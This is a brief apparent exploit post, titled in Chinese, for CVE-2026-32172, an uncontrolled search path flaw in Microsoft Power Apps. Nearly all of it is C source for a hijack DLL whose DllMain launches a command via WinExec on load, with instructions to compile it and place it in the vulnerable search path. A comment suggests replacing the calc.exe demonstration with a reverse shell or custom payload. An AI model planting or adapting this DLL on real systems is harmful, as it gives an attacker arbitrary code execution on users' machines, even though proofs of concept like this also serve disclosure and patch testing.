CVE-2026-32172 Microsoft Power Apps 未控制搜索路径导致代码执行漏洞

/* * PoC for CVE-2026-32172: Uncontrolled Search Path Element * This DLL demonstrates code execution when loaded by the vulnerable app. * Compile as a shared library (DLL) and place in the uncontrolled search path. */ #include <windows.h> #include <stdlib.h> // DllMain entry point BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Code execution payload // Example: Launching calc.exe to prove execution WinExec("cmd.exe /c calc.exe", SW_SHOW); // Alternatively, start a reverse shell or custom payload break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }